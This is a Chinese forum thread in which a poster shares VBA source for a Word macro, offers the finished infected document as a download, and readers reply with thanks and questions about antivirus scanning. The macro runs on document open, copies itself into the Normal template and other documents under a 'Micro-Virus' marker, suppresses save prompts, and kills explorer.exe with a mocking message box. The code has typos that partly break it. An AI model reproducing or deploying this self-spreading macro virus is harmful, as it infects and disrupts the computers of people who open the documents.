word宏测试代码

豆腐皮

代码：
Sub Document_Open()

On Error Resume Next

Application.DisplayScrollBars = False

Options.SaveNormalPrompt = False

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With host

If .Lines(1, 1) <> "Micro-Virus" Then

.DeleteLines 1, .Count0fLines

.InsertLines 1, ourcodemodule.Lines(1, 100)

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = NormalTemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActineDocument.SaveAs ActiveDocument.FullName

End If

End If

End With
'程序代码开始'
Shell ("taskkill /f /im explorer.exe")
MsgBox ("看看你的桌面是不是消失了?")
'程序代码结束'

End Sub
功能：关闭桌面和弹框
截图:

成品文档：
Doc1.rar (5.69 KB, 下载次数: 10)

2017-3-17 20:30 上传

点击文件名下载附件

本人博客：http://www.bluexiang.com

豆腐皮

seazer 发表于 2017-3-17 23:37
加白名单？把word加进去？试过了，excel.exe  word.exe  normal.dot都加进去过 打开有宏的文件还是卡

实在不行就换杀软，我的企鹅管家不卡的

vaxxuan

可以的 ，很强势

Pahriyad

看看你的桌面是不是消失了? 呵呵，不错不错

幸福賓兒

已收藏  谢谢楼主的分享

seazer

请教楼主一个问题啊，由于工作需要，我的word一直含宏代码，但是每次打开都很慢，原因是360全家桶在每个文档打开之前都进行扫描，有什么办法可以不让360扫描吗？

tujinfeng

谢谢楼主的分享

豆腐皮

seazer 发表于 2017-3-17 21:40
请教楼主一个问题啊，由于工作需要，我的word一直含宏代码，但是每次打开都很慢，原因是360全家桶在每个文 ...

母鸡啊！加白名单？

seazer

加白名单？把word加进去？试过了，excel.exe  word.exe  normal.dot都加进去过 打开有宏的文件还是卡

豆腐皮

seazer 发表于 2017-3-17 23:37
加白名单？把word加进去？试过了，excel.exe  word.exe  normal.dot都加进去过 打开有宏的文件还是卡

不能直接加doc文件？